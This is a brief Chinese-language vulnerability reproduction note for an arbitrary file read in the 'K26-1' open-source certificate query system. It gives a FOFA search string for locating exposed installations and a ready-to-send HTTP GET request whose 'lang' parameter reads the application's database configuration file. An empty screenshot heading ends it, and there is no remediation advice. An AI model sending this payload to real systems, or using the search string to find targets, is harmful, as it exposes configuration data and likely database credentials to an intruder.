K26-1开源-证书查询系统-任意文件读取

fofa语法：

“/index/js/jquery.uls.data.js'”

漏洞复现：

payload：

GET /index/ajax/lang?lang=./application/database HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

效果图：